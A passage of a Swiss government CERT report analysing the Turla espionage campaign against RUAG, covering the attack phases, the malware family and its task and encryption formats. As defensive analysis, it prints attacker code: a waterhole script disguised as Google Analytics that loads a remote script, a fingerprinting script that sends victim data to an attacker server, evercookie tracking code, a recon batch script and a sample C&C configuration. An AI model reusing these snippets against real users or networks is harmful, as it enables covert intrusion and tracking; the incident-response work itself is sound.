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21 Data Exfiltration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
23 Recommendations 27 System level . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
27 Active Directory .
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27 Network level .
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27 Log files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
28 System Management .
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28 Organization .
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28 Conclusion 29 Appendix IOCs 31 URLs .
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31 MD5 Hashes .
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31 External References .
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32 CONTENT MELANI:GovCERT TLP WHITE Summary The RUAG cyber espionage case has been analyzed by GovCERT in order to provide insight and protection.
We decided to publish this report to give organizations the chance to check their networks for similar infections, and to show the modus operandi of the attacker group.
The attackers have been using malware from the Turla family, which has been in the wild for several years.
The variant observed in the network of RUAG has no rookit functionality, but relies on obfuscation for staying undetected.
The attackers showed great patience during the infiltration and lateral movement.
They only attacked victims they were interested in by implementing various measures, such as a target IP list and extensive fingerprinting before and after the initial infection.
After they got into the network, they moved laterally by infecting other devices and by gaining higher privileges.
One of their main targets was the active directory, as this gave them the opportunity to control other devices, and to access the interesting data by using the appropriate permissions and group memberships.
The malware sent HTTP requests to transfer the data to the outside, where several Command-and-Control (CC) servers were located.
These CC servers provided new tasks to the infected devices.
Such tasks may consist of new binaries, configuration files, or batch jobs.
Inside the infiltrated network, the attackers used named pipes for the internal communication between infected devices, which is difficult to detect.
This way, they constructed a hierarchical peer-to-peer network: some of these devices took the role of a communication drone, while others acted as worker drones.
The latter ones never actually contacted any CC servers, but instead received their tasks via named pipes from a communication drone, and also returned stolen data this way.
Only communication drones ever contacted CC servers directly.
It is difficult to estimate the damage caused by the attackers this is by any means beyond the scope of this report.
However, we observed interesting patterns in the proxy logs.
There were phases with very few activity, both in terms of requests and amount of data transferred.
These quiet phases were seperated by high-activity periods with many requests and big amounts of exfiltrated data.
At the end of the report, we provide some recommendations and countermeasures we consider most effective against this kind of threat on the level of end-devices, the active directory, and the network.
It is important to mention that many countermeasures are not cost-intensive, and can be implemented with reasonable amount of work.
Even if it is difficult to completely protect an organization against such actors, we are confident that they are detectable, as everyone makes mistakes.
The defending organization must be ready to see such traces, and to share this information with other parties, in order to follow such attackers closely.
SUMMARY 1 / 32 MELANI:GovCERT TLP WHITE Introduction The following is a short report with the intention to inform the public about Indicators of Compromise (IOCs) and Modus Operandi of the attacker group that is responsible for the RUAG cyber espionage case, which has been made public on Wednesday, May 4th 2016.
One of the main tasks of MELANI is to support critical infrastructures during security incidents and the co- ordination of relevant actors involved.
Regarding technical first response and support, GovCERT supported RUAG with log analysis, forensics, malware reverse engineering and security monitoring.
The report below reflects our experiences during this case.
The Case The cyber attack is related to a long running campaign of the threat actor around Epic/Turla/Tavdig.
The actor has not only infiltrated many governmental organizations in Europe, but also commercial companies in the private sector in the past decade.
RUAG has been affected by this threat since at least September 2014.
The actor group used malware that does not encompass any root kit technologies (even though the attackers have rootkits within their malware arsenal).
An interesting part is the lateral movement, which has been done with a lot of patience.
The intention of the attackers is always to steal information from the victim.
In order to this, they infiltrate the network and then move laterally, until they are able to retrieve the information of interest.
We would like to emphasize that public blaming is never appropriate after such attacks.
These attacks may happen to every organization regardless of their security level.
What is much more important is to learn from these attacks and to raise the bar for the next time the attacker tries to infiltrate the network.
The Chronology The picture below shows the chronology of the attack against RUAG.
Figure 1: Timeline of Attack INTRODUCTION 2 / 32 MELANI:GovCERT TLP WHITE The Malware Family There are many names used in the context of this malware family.
The most generic one is Turla, which is considered as the name for the whole family - some also call it Uroburos, though this is not strictly correct.
The following picture tries - in an extremely simplified manner - to summarize the involved trojan names: Figure 2: Turla Family Tree This overview is not complete, but most commonly known names should be present.
The common ancestor seems to be Agent.
BTZ, which was first observed in 2007 and 2008 in the US.
The roots of Agent.
BTZ are a bit vague, and also code relations to the rest of the family are not very obvious.
For these reasons, the relations are shown as dotted lines.
Surprisingly, some more obvious links can be found between Agent.
BTZ and the much newer Snake rootkit - like a common XOR key used in both of them.
The relation to Carbon is weaker though.
So, Agent.
BTZ must be considered as a vague origin of the whole family.
It is not really known how old Agent.
BTZ is, but we assume its actually older than 2007.
The Carbon rootkit was the first real member of the family, first observed in 2007.
It initially came as a 32-bit kernel driver under Windows XP, and 2 years later as a 64-bit kernel driver.
After Microsoft enforced digital signatures for kernel drivers on their 64-bit operating systems, the Carbon rootkit was replaced by a usermode only variant, purely using DLLs and hence named Carbon-DLL.
Carbon-DLL also added asymmetric encryption for CC (Command and Control) traffic.
The famous Snake rootkit (also called Uroburos) seems to be a spin-off of the Carbon rootkit.
It also is a rootkit, using an exploit in a digitally signed VMWare driver, but it lacks the advanced cryptography of Carbon-DLL.
So it does not look like a direct successor.
Shown in green boxes are the corresponding recon tools (more details about these in the Active Infection chapter later).
Recon tools are a bit like poor-mans-versions of their counterparts and are used as initial infections to have a first look on freshly infected systems.
As the attackers have only limited control on which systems actually get successfully infected, it is useful for them to have a closer look before sending the final infection malware (which we call stage 2 malware).
The only well known member of these recon tools is Tavdig, also known as Wipbot or Epic.
It has a predecessor, which was never broadly published about we call it regbackup, because this is the name under which it was installed.
INTRODUCTION 3 / 32 MELANI:GovCERT TLP WHITE Modus Operandi GovCERT uses the following model to describe the actions of APT actors.
Basically it is a simplified approach of the Cyber Kill Chain model proposed by Lockheed.
Figure 3: Phases of the Attack We distinguish the following phases: 1.
Victim evaluation: During this phase, the attacker tries to get as much information about the target as possible.
It is a preparation for the actual attack and covers at least the IP ranges, platforms and some usage patterns of their users.
It is important for him to place the right waterholes and to be able to filter out unwanted victims from the actual targets.
This phase is divided into several sub phases, not all need to be necessarily be in place: Passive information gathering Active scanning Preparing waterholes 2.
Infecting: The infection phase consists of a fingerprint of the victim in order to find the best suited infection method (using an appropriate exploit or a social engineering technique).
It has the following sub phases: Activating waterholes / sending spearphishings Fingerprinting: This is most often done using JavaScript Exploiting: Depending on the target, a suitable exploit is chosen.
If this is not feasible, a social engineering approach is applied.
MODUS OPERANDI 4 / 32 MELANI:GovCERT TLP WHITE 3.
Active Infection: The attacker is now in the network.
There are several sub phases here: Trojan supported Reconnaissance: We often see an initial reconnaissance tool being placed, performing additional reconnaissance actions from within the network of the victim.
This tool has not many capabilities, but can be replaced by a more powerful malware at any time.
Gaining Persistence: If the recon tool has been placed successfully and has sent out enough information, it is replaced by the actual malware with more functionality and deeper persistence in the system and the network.
Lateral Movement: The attacker begins to move laterally in order to gain access to the information he is interested in.
Lateral movement is often done by using normal tools that are also used for managing systems.
The lateral movement also comprises the collection of credentials, as well as the elevation of privileges.
Data Exfiltration: As soon as the attacker begins to steal data, he must transport it outside of the network without being discovered.
This is often done by first compressing the data and then sending it out, piece by piece.
Some of these phases are overlapping, and the attackers repeat phases if necessary e.g.
if they do not manage to get a certain piece of information due to the lack of privileges, they are forced to repeat the lateral movement.
In the following chapters, we are going to discuss the different phases in more detail.
Victim Evaluation Even though we do not have much data about the attacker during this and the next phase, we are going to describe his actions in a more general way, based on findings we made during other incidents.
Reconnaissance activities also involve the preparation of waterholes.
Vulnerable web servers on the Internet serve him not only as waterholes, but also as first-level CC servers.
Infecting Unfortunately, log files at RUAG only go back until September 2014, where we still see CC activity.
Additionally, many suspicious devices have been reinstalled in the meantime Hence we cannot determine the initial attack vector.
However, we know from other cases the modus operandi of this actor group, which well describe in the following paragraphs.
Before infecting a device, the attacker does an extensive fingerprinting.
They only infect a device after being certain it is suited for their purposes.
In the case of waterholes, they do it as follows: MODUS OPERANDI 5 / 32 MELANI:GovCERT TLP WHITE Figure 4: Chain of Infection 1.
The waterhole just contains a redirection to the actual infection site.
This redirection can vary.
We observed URL shorteners as well as JavaScripts disguised as Google Analytics scripts.
2.
The infection site tests whether the victims IP address is on a target list if so, a fingerprinting script is returned.
The result of it is sent back to the same server, where it is manually checked by the attacker.
Only after a certain time, the attacker decides, whether the device shall be infected, either by sending an exploit, or by using social engineering techniques.
3.
If the infection is successful, a first connection to a CC server is made.
Here is an example of such a camouflaged JavaScript: 1 document.getElementsByTagName(body)[0].onmousemove  function() 2 if (document.getElementById(xyz))  else 3 var gam  document.createElement(script) 4 gam.type  text/javascript 5 gam.async  true 6 gam.src  (https:  document.location.protocol ?
http://goo.gl : 7 http://goo.gl)  /GLmcrx 8 var sm  document.getElementsByTagName(script)[0] 9 sm.parentNode.insertBefore(gam, sm) 10 var fl  document.createElement(span) 11 fl.id  xyz 12 var d  document.getElementsByTagName(div)[0] 13 d.parentNode.insertBefore(fl, d) The attacker maintains a target list of network ranges hes interested in.
An initial script is delivered in order to collect basic information, such as the external IP address, or the current date and the time on the computer of the victim: MODUS OPERANDI 6 / 32 MELANI:GovCERT TLP WHITE 1 2 var returnUrl  SERVERADDRESS/?cart_idDD  modecollect var returnData 3 var returnDataType 4 myResults[123]  Hello myResults[456]  xxx.xxx.xxx.xxx 5 sendComplete() 6 function sendComplete() 7 myResults[dateEnd]  (new Date).toString() myResults[content] 8 Collection[title]  Image 9 Collection[content]  utf8_to_b64(JSON.stringify(myResults)) Collection[type]  jpeg 10 Collection[index]  143000 11 Collection[checksum]  169739e7211295146a61d300c0fef02d returnData JSON.stringify(Collection) 12 returnDataType  application/json 13 sendResult() DD stands for a two digit value.
If the IP address matches a network range on the target list, the next step is a more sophisticated finger- printing script.
The fingerprinting scripts gains as much information about the victim as possible by using JavaScript.
It is taken from the BEEF framework (Browser Exploitation Framework BEEF, beefproject.com).
A small extract of this script shows the technique: 1 PluginDetect.getVersion(.)
2 var jaid  PluginDetect.getVersion(Java) 3 var fid  PluginDetect.getVersion(Flash) 4 var aid  PluginDetect.getVersion(AdobeReader) if (aid  null) 5 var aid  PluginDetect.getVersion(PDFReader) 6 var sid  PluginDetect.getVersion(Shockwave) var mid  null 7 var rid  null 8 var rid  document.referrer 9 if (rid  null  rid.length  0)  rid  null 10 11 mid  COV() 12 var feedback_link  SERVERADDRESS?cart_idDD 13 var cartid  DD 14 var myjq  jQuery.noConflict(true) 15 req() The fingerprinting scripts also marks any device that has been fingerprinted with an evercookie.
An evercookie is a cookie, which uses any method available to make a device identifiable, even if the user deletes standard cookies.
Evercookies also use the possibilities offered by LSO (Local Storage Objects) and plugins like Flash or Silverlight.
The following code snippet shows, how an evercookie is created: 1 if (s  0) 2 N.evercookie_database_storage(n, i) 3 if (a.silverlight) 4 N.evercookie_silverlight(n, i) 5 6 if (a.authPath) 7 N.evercookie_auth(n, i) 8 9 if (b) 10 N.evercookie_java(n, i) 11 MODUS OPERANDI 7 / 32 http://beefproject.com/ http://samy.pl/evercookie/ MELANI:GovCERT TLP WHITE 12 N._ec.userData  N.evercookie_userdata(n, i) 13 N._ec.cookieData  N.evercookie_cookie(n, i) 14 N._ec.localData  N.evercookie_local_storage(n, i) 15 N._ec.globalData  N.evercookie_global_storage(n, i) 16 N._ec.sessionData  N.evercookie_session_storage(n, i) 17 N._ec.windowData  N.evercookie_window(n, i) 18 if (m) 19 N._ec.historyData  N.evercookie_history(n, i) 20 21 If the fingerprinting suggests a high probability of a successful infection, a payload containing an exploit, or trying to trick the user into executing a seemingly legitimate binary, e.g.
a JavaInstaller, is returned.
Active Infection The picture below depicts the trojans of the Turla malware family used after a successful infection in more detail: Figure 5: Turla Timeline For an infection on a victim system (also called a bot), two stages are passed through.
At a first stage, a system is infected by a reconnaissance malware we call this a recon tool.
Recon tools are shown as green circles.
Their main purpose is to figure out whether the infected system is interesting enough.
Should this be the case, the full-fledged stage 2 malware is added, and ultimately persistence is gained.
This will be a much more elaborate malware which implements more features.
Stage 2 trojans usually run under administrative privileges, so they require the additional step of a privilege escalation.
Note that the recon tool is not always removed after the stage 2 trojan has been installed.
We observed systems with both stages active on simultaneously.
Recon tools are sometimes also used to attack further, at this point still clean systems, to directly install a stage 2 trojan on them.
This usually requires the use of an exploit (privilege escalation) on the target system, or - more commonly - the knowledge of credentials.
MODUS OPERANDI 8 / 32 MELANI:GovCERT TLP WHITE As a consequence, an infected network can contain bots infected with only recon tools, only stage 2 trojans, both of them, or - hopefully the major part - none of them.
The picture also shows a purple circle, dated 2011 and named Unix backdoor.
This is actually a completely different code, but it was used by the same attackers in 2011.
Its main working principle is to sniff all packets on the wire, to check their payload for some mathematical markers left there by the attackers, and finally to back-connect to an IP address encoded in these markers this is somehow comparable to the tainting mechanism Snake used several years later.
In the end, this is a type of RAT (Remote Access Tool).
It even contains a feature to access a linear filesystem at a third IP address (like a file repository), but we never found the corresponding server implementation.
It uses Diffie Hellman and Blowfish for communication.
One interesting observation about it is the use of a (non-secret) prime number p in the Diffie-Hellman implementation, which already appeared in a project called LOKI2, published 1997 in the Phrack magazine.
LOKI2 was a program to exfiltrate data via covered channels, like DNS or ICMP.
In our opinion, the code was derived from the LOKI2 implementation, and the attackers most probably have other LOKI2-like programs in their arsenal.
Note that Kaspersky named this malware Turla Unix variant later on.
A common feature of recon tools, as well as of stage 2 trojans, is that they dont run in dedicated processes, but inject themselves into already existing processes, where they live as additional threads.
This way, no additional processes becomes visible in a running system.
Well examine this mechanism in the next section.
We differentiate 2 phases after a successful infection: a trojan supported reconnaissance phase while the recon tool is used, and the final persistence phase after the stage 2 malware is installed.
Trojan Supported Reconnaissance Recon tools show some simplifications, in contrast to stage 2 malware: They run in the context of a normal user, without additional privileges.
Other users logging in on the same system are not directly affected.
They are started whenever the infected user logs in, using a standard mechanism, like autostart folders or winlogon registry keys.
Main functionality: Execution of batch scripts or executables.
Recon tools often also collect some generic system information every time they are started.
Recon tools are usually single-threaded.
Received binaries and scripts are executed immediately, and the results are also returned immediately.
No concurrent execution is possible.
No additional features like key loggers, plugins or peer to peer functionalities.
No separate configuration file, their configuration is completely hardcoded.
Any changes - like CC server updates - require exchanging the whole binary.
Usually no unique trojan ID is used, or such an ID is volatile (this is not true in all cases).
Recon tools are used by the attackers to have a closer look at a particular system, usually for a few days or weeks.
They can also be considered as giveaway trojans: in case a system is detected at this stage of infection, the attackers dont loose too much, as the more advanced stage 2 trojan was not yet revealed.
This of course is only true as long as a stage 2 trojan is not yet discovered and published about.
As mentioned above, the main functionality is the execution of batch scripts or binaries.
Were using the more generic term of a task for this.
A task is a data blob (binary large object) sent by the CC server to an infected bot containing an instruction (or several instructions) to be executed by a target.
The bot either immediately executes this task and sends the result back, it queues the task for later execution, or it forwards the task to another bot to do the same.
In the case of recon tools, these tasks are very simple and can only contain binaries or batch scripts to execute.
No queuing or forwarding is supported for recon tools.
Well have a closer look on the task format in the next section Gaining Information and the Task Format.
Historically, the first actual implementation of a recon tool was observed back in 2007.
This was a rather simple program using the name regbackup.exe (thats also how we called it at the time), pretending MODUS OPERANDI 9 / 32 http://phrack.org/issues/51/6.html MELANI:GovCERT TLP WHITE to be a service for a registry backup.
Traffic between CC servers and bots were encrypted using the symmetric CAST128 algorithm in OFB mode with a hardcoded key.
The key was hardcoded, no peer to peer functionality was implemented.
In 2011, we observed an evolved version of the recon tool, which was later documented by Kaspersky under the name Tavdig (sometimes also called Wipbot or Epic, these are all the same thing).
Basically its very similar to regbackup.
The main evolution is a more advanced binary packer, which actually doesnt even unpack into a standard PE format file, but into a proprietary format (we call it BAD format because its using hex values 0B AD as marker number instead of PE).
Furthermore, encryption was replaced by ElGamal encryption, which is a public private scheme - more technical details about this later on.
The code contains the public key of the server, and a private key.
As described above, recon tools use an injection mechanism, like most other members of the malware family.
In the case of Tavdig, this is how it works: Figure 6: Tavdig Injection In this illustration, time runs from top to down, starting after the login of an infected user.
Tavdig is then started and running for a short time in its own process (orange box), for instance via the Winlogon registry key.
It then injects a guard thread into a process that wont be stopped, until the user logs out, typically one of the svchost.exe processes.
This thread is shown as a red stripe.
The guard thread itself only acts in the background: It contains a list of process names typical for web browsers, mail and IM clients, and other internet applications.
Every process in the bot matching one of these names becomes a target process.
The guard thread permanently searches for such target processes.
As soon as one is found, e.g.
if the user starts a web browser, a work thread is injected.
The work thread is doing the main work: it contacts the CC servers and executes tasks.
The guard thread makes sure that only one work thread is running at the same time, and it initiates the start of a new work thread if the old one terminates, e.g.
after the victim closes its web browser.
This happens immediately, if another target process is still running.
But it can also happen later on, as soon as a new target process is started by the victim.
This way, only processes that MODUS OPERANDI 10 / 32 https://de.wikipedia.org/wiki/Output_Feedback_Mode MELANI:GovCERT TLP WHITE typically connect to the internet try to contact CC servers This fools local firewalls, which usually filter traffic based on the originating process, but this also makes detection in proxy logs harder, as CC traffic is mixed with legitimate traffic.
One side effect is Tavdig not to become active before the user starts his internet browser or mail client or any other program connecting the internet.
Note that all members of the Turla family are proxy aware: unlike many E-banking trojans, they also work behind firewalls.
One drawback for the attackers, at least in the case of recon tools, is that tasks can get lost, namely if a task, which takes some time for execution, is received, and the victim closes the browser before the task has been finished and results are sent back.
There is no queueing mechanism, so the task wont be executed again in the next started work thread.
Second stage trojans solve this problem by more complex setups.
Gaining Information and the Task Format As mentioned earlier above, tasks appear in a specific container format.
In case of Carbon-DLL, it roughly looks like this: Byte Offset Meaning 0 Task-ID 4 Length f of routing blob 8 routing blob f 8 Task-code f 12 Length l of task payload f 16 payload (e.g.
a batch script) f l16 Length c of config data f l20 config data Figure 7: Task Format First, every task has a unique task ID, which is also returned together with the results.
This is important, because it allows the attackers to link results and tasks.
The routing blob can contain one or more trojan IDs of the next hop, combined with transport information (TCP plus address, or a named pipe, potentially with authentication).
Every hop removes one element of this routing blob before forwarding to the next, and as soon as the routing blob is empty, the bot knows it is the one to execute the task.
When a task is executed, the task-code is checked.
The remaining data format depends on this code.
It usually is 0, which means the execution of a standard task - this is also the format shown in the table.
In this case, two blobs follow: the payload and the config data.
Here is the example of a payload, which is a batch script, in this case a typical initial recon activity: 1 ipconfig -all 2 netstat -r 3 netstat -an 4 nbtstat -n 5 nbtstat -s 6 net share 7 net file 8 net session MODUS OPERANDI 11 / 32 MELANI:GovCERT TLP WHITE 9 net use 10 net group 11 net view 12 net config 13 systeminfo 14 net time \\127.0.0.1 But the bot still needs to know what to do with this.
This is what the config data - always plain text - is for.
It might look like this: 1 [CONFIG] 2 name  TEMP\sysh32.bat 3 exe  cmd.exe /c TEMP\sysh32.bat This example means that the bot should to the following steps: 1.
store the payload in the file TEMP\sysh32.bat 2.
execute the command cmd.exe /c TEMP\sysh32.bat (using CreateProcess) - so this will actu- ally execute the payload as a batch script (/c option) 3.
remove TEMP\sysh32.bat (the payload file is always automatically removed) 4.
the standard output is returned to the CC server There are special parameters in regard what to return, for example the content of some file instead of the standard output, or how to deal with standard error.
A similar binary format exists for the returned task results.
If the task-code is between 1 and 99, a special task is executed (it also means that the rest of the container format changes accordingly).
Some of these tasks require sub-task-codes.
Some of these special tasks are: 55: update (a sub-task-code tells what to update, like which binary, or the config file) 57: install a plugin 62: install the server public key - this will also generate a new private bot key The format described is used by Carbon-DLL.
Tavdig is using a similar, but simplified format.
It mainly lacks the routing blob and task-code (it implicitly is 0).
But Tavdig also includes task-IDs.
Gaining Final Persistence By adding a second stage malware to an infected system, final persistence is gained: They usually run under administrator privileges and require a privilege escalation.
They are started in more complex ways at boot up time, typically using a service, or - in the case of rootkits - kernel drivers.
They also allow the execution of batch scripts and binaries in their tasks, but often also support plugins like key loggers and activities like taking screenshots.
They are usually multi-threaded.
Received tasks are not immediately executed, but queued and later on executed via another thread, usually even running in a different process.
They use named pipes and mutexes to coordinate the different threads.
They do have a separate configuration file that allows incremental updates They always install a unique trojan ID for every infected system They support peer-to-peer functionality: tasks can be forwarded to other bots for execution.
MODUS OPERANDI 12 / 32 MELANI:GovCERT TLP WHITE This peer-to-peer functionality is a very important additional feature of the stage 2 malware.
This means that a bot is able to receive a task from its CC server(s) and route it to another infected bot in the local network results are sent back using the same path in the reverse direction.
To facilitate this feature, every infected bot gets a unique trojan ID at infection time, and every task contains initial routing information, potentially even using several intermediate hops, but we never actually observed tasks with more than two hops.
The peer-to-peer network uses different methods for communication, very common are named pipes, but also direct TCP connections are possible.
These relations are shown in the following illustration: Figure 8: Hierarchical Structure of the Botnet The first actual stage 2 trojan appeared around the same time as the corresponding recon tool, though we only discovered it some time later.
The programmers called it Carbon in the configuration file, so we also use this name another name for it, derived from a PDB string, is Cobra (a type of snake, but this is not the Snake rootkit).
It came as a rootkit and added peer-to-peer functionality, but otherwise didnt implement more elaborate functions.
It used the same cryptographic algorithm as the recon tool, and also the same hardcoded key.
As a rootkit, it had a component running in kernel mode, and 2 components running in user mode (one for CC communication, and one for task execution).
The kernel mode component tried to hide all activities from system monitoring, and in addition implemented an encrypted, virtual file store (VFS).
The VFS was realized as 100 MB file (hidden by the rootkit) with an NTFS filesystem on it.
CAST128 was also used for encryption of the VFS, but in a different encryption mode (CBC), with IVs derived from the block index, and a different hardcoded key.
This VFS was used to store the user mode components, a configuration file, received (and not yet executed or forwarded) tasks, results not yet sent out, and logging information.
Also a volatile virtual storage was implemented (like a RAM disk) for intermediate task results.
The rootkit was very advanced for its time, and is a clear ancestor of the well known Snake rootkit.
In 2009, we also found 64 bit implementations of the rootkit.
There was no digital signature required at this time, not even on 64 bit systems the later Snake rootkit used digitally signed, vulnerable VMware drivers as a carrier (vboxdrv.sys), as documented in several papers published in the past years.
The configuration file was a simple text file, in later versions it was additionally CAST-encrypted.
Here is an (anonymized) example for such a configuration file: 1 [NAME] MODUS OPERANDI 13 / 32 MELANI:GovCERT TLP WHITE 2 object_id1c2e30cd-abb3-41ef-a74d37 3 4 5 [TIME] 6 user_winmin  700000 7 user_winmax  1200000 8 sys_winmin  1800000 9 sys_winmax  1900000 10 task_min  30000 11 task_max  40000 12 checkmin  60000 13 checkmax  70000 14 logmin  600000 15 logmax  1200000 16 lastconnect1223023515 17 timestop 18 active_con  900000 19 20 [CW_LOCAL] 21 quantity  0 22 23 [CW_INET] 24 quantity  2 25 address1  1.2.3.4:80 26 address2  5.6.7.8:80 27 28 [TRANSPORT] 29 user_pipe  \\.\pipe\userpipe 30 system_pipe  \\.\pipe\iehelper 31 32 33 [DHCP] 34 server  135 35 36 37 [LOG] 38 lastsend 1223021515 39 logperiod  7200 40 41 [WORKDATA] 42 run_task 43 run_task_system 44 [VERSION] 45 SystemCarbon v1.53 46 UserCarbon v1.42 In the CW_INET section, we see the CC servers.
Several can be configured, they are selected using the round robin method.
Bots that do not contact CC servers directly lack this section.
CW_LOCAL is then used instead.
TRANSPORT defines the internal named pipes for communication between the different threads on an infected bot.
The injection mechanism is more complex than the one of Tavdig, but follows the same basic principle.
As a main difference, named pipes are used to communicate between the active threads.
Typically, the thread injected into the web browser now is only responsible for CC communication (and so can be called comm thread) received data, and data queued to be sent out, is stored in the VFS as dedicated files.
The work MODUS OPERANDI 14 / 32 MELANI:GovCERT TLP WHITE thread, however, lives in a long-living process, like explore.exe, and executes tasks received by the comm thread.
This means that receiving a task, executing a task, and sending out the results are decoupled, using a file system in between and named pipes for synchronization.
This makes the setup far more reliable, tasks cant easily get lost anymore.
Besides named pipes, mutexes are also required to avoid race conditions.
This is also a disadvantage, it results in a more complex setup and easier detection due to pipe and mutex names.
Another drawback is the limited size of the VFS (100MB).
Tasks - and mainly task results - cant be larger than this.
In 2012, we discovered a new Carbon variant.
The main difference to the original Carbon from 2007 was its lack of rootkit features and lack of VFS.
It was only implemented as 2 usermode DLLs (implementing the same functionality as the original usermode DLLs), and a simple service binary started via the registry, but of course under administrative privileges.
Thats why we call it Carbon-DLL.
The VFS was replaced by just using a random, already existing directory under the program directory tree, and encryption is realized by just CAST128-encrypting all single files in this working directory.
The path of this working directory is stored in a random .inf file, using the hard disk serial number as fingerprint.
So all the rootkits hiding functions were replaced by obfuscation functions.
Technically, this is more basic than using a rootkit, and it could be called a step backward - we assume the programmers were forced to do this due to Microsoft requiring kernel mode drivers to be digitally signed around this time.
But it is also an advantage, because it makes the infection more stable, and in some way harder to detect, as there are no hidden files that suddenly become visible in safe mode.
Also the problem with limited VFS size is solved, the only limit is the size of the root partition.
Carbon DLLs most important evolution though was CC cryptography: Like Tavdig, Carbon-DLL implements asymmetric encryption, but in this implementation based upon RSA.
CAST128 encryption was still used under the hood, but thats probably only for historical reasons and does not add to the overall security.
Carbon-DLL stored its keys in the configuration file.
Note that RSA encryption only applies to infected bots, which directly communicate with CC servers - and only these bots have configured keys actually a separate section is added to the configuration file, in order to store keys for bots needing to communicate with CC servers.
However, this section doesnt exist upon installation it can be added later on request, triggered by a specific task.
Peer to peer communication behind these bots in the local network are only encrypted using CAST128, or not at all.
Finally, the Snake rootkit must also be mentioned, though we never actually observed it in this case.
It was used in other countries, and many publications exist about it.
Uroburos is also sometimes used as another term for Snake, but sometimes Uroburos is also used for the whole family (which is, technically spoken, not correct).
Snake is another stage 2 trojan, but were not aware if its used together with some recon tools.
In terms of functionality, it contains features of both the Carbon rootkit and Carbon-DLL at the same time: It is a rootkit, like the Carbon rootkit.
This rootkit also works on 64 bit systems, requiring digitally signed drivers.
To do this, it uses a exploitable, digitally signed driver from VMWare, as described in several publications.
Hence its an evolution of the Carbon rootkit.
Like the afore mentioned, it contains an encrypted and hidden file store, but with increased size.
It lacks the asymmetric encryption used in Carbon-DLL, its again based upon CAST128.
So you cant call it an evolution of Carbon-DLL.
The best way to describe Snake is to call it a sibling of Carbon-DLL - as if the development of the Carbon rootkit split into 2 branches, one ending in Carbon-DLL, and one ending in Snake.
A Closer Look at the Encryption Algorithms Used in Carbon-DLL and Tavdig The malware found at RUAG was Carbon-DLL, paired with Tavdig.
This section contains some technical and mathematical findings about the implementation of the cryptographic algorithms gained by reverse- engineering the code.
The section can be skipped without loosing too much context for the rest of this paper, but it can also give some insight into the development of the malware.
MODUS OPERANDI 15 / 32 MELANI:GovCERT TLP WHITE Understanding cryptographic algorithms is a key point for understanding the malware.
It is also interesting to see some differences in how they are actually implemented in Tavdig and in Carbon.
From the perspective of a reverser, Carbons approach is easier: Carbon uses the Microsofts cryptogra- phy API (MSCAPI) The standard MSCAPI calls CryptEncrypt and CryptDecrypt are imported via IAT (Import Address Table) and so become directly visible (to be precise, a slight obfuscation is applied to hide these calls by building the IAT on the heap, instead of using the standard import table).
The following code shows the decryption of the symmetric session key using RSA.
Note that all IDA (Interactive Dis- assembler) screenshots shown here are decompiler pseudocode outputs.
API calls (so-called imports) are shown in a red color, as for example CryptDecrypt, and their names are created automatically and dont need any interpretation from our side.
Blue names, however, are initially only generic numbers their actual names must be given by the reverser, based upon what function is suspected behind them.
So, the names you see in blue are our interpretation of the code.
Figure 9: RSA Usage in Carbon-DLL As you can see, there are several red names, which makes interpretation of the code easier.
The fact that RSA should be used is encoded inside the key itself, using Microsofts proprietary format.
Similarly, the symmetric decryption of the main data using the session key is quite easy to find: Figure 10: Symmetric Encryption in Carbon-DLL Again a lot of red names can be seen, because the MSCAPI is used.
Which actual algorithm to use is once more encoded in the session key itself.
Note that while analysis of the code is easy, reconstructing it on a MODUS OPERANDI 16 / 32 MELANI:GovCERT TLP WHITE different operating system, like Linux, is another story, due to MSCAPIs bad interoperability with open source libraries like OpenSSL (in particular as far as the key format for asymmetric encryption is concerned).
The use of MSCAPI is new in Carbon-DLL.
The Carbon rootkit implemented the CAST128 algorithm itself.
Interestingly, the same is true for Tavdig.
Tavdig also applies asymmetric cryptography, and it would be quite easy to do the same as Carbon-DLL.
But instead of this, Tavdig implements its asymmetric encryption algorithm itself.
The same is true for Tavdigs symmetric algorithm, which is AES.
This is a very different approach from Carbon-DLL, so we assume that Carbon-DLL was developed by a different team than the Carbon rootkit or Tavdig.
Encryption algorithms implemented directly in malware can be tricky to find and identify for reversers, and it is worth having a closer look.
The situation is still comparably easy with symmetric algorithms like AES, Blowfish or DES, as they usually contain typical cryptographic constants, for example for permutation tables or substitution boxes (an exception are some stream ciphers like RC4).
The same is true for hash algorithms like MD5.
For this reason, reversers use dedicated tools and plugins to find these constants, in order to make guesses about the algorithms that then can be verified.
Of course this can also be fooled by changing these constants, but this is rarely done.
What often also helps to find symmetric cryptography functions, is to search for non-trivial XOR instructions, because XOR (exclusive OR) is typically used in symmetric cryptography.
Note that trivial XOR instructions occur frequently in any code, these are exclusive ORs of a value with itself, which always returns 0 this is often used by compilers to just initialize a variable to 0 hence were only looking for XORs with two different operands.
The situation is far trickier for asymmetric cryptography, as these algorithms dont use any reliable cryp- tographic constants, they dont even use non-trivial XOR instructions.
However, they require mathematical functions (big integer functions) to do calculations with very large integers of 1024 bits and more inside a finite field, i.e.
modulus a large prime number, which is called the modulus of the field.
One approach is identifying these functions and the library used by the programmers in their implementation.
Unfortunately, we could not identify the library used by the programmers of Tavdig - we dont even know if it is a public one or not.
The code has some unusual features though lets have a closer look at it.
First, the following screenshot shows the implementation of long addition, which is still quite straightforward: Figure 11: Addition of Two 1024 Bit Integers MODUS OPERANDI 17 / 32 MELANI:GovCERT TLP WHITE As you can see, not much red anymore, only blue.
This code does not use any API call, all names are our interpretation.
Big integers are stored in 65 16-bit words (actually only 64 are really used), so they are 1024 bits in size.
This size is hardcoded.
The data is stored with the least significant word first (addition starts with word index 0), i.e.
little endian.
The rest of the code is straightforward.
The use of word-wise instead of byte-wise or double-word-wise granularity is a bit unusual.
The explicit encoding of the carry bit is also interesting: Direct assembly code would use the ADC instruction (addition regarding the carry bit), C-code without inline assembly, however, needs the explicit implementation of the carry bit.
On assembly level, only ADD instructions (addition without regarding the carry bit) appear.
This is not a very efficient approach, so we doubt this code actually being part of a well known library.
One non-trivial problem for reversers is to actually find these functions.
Imagine that in a fresh binary, you might have hundreds of nameless functions with nameless variables in them.
No cryptographic constants mark these big integer functions in any way.
Sometimes, searching for ADC instructions helps, but not so in this case.
No XOR instructions appear, which are otherwise typical for symmetric cryptography.
Theres no easy response to this problem, except for checking all functions manually, or trying to search top down.
There are more odd things in the multiplication code.
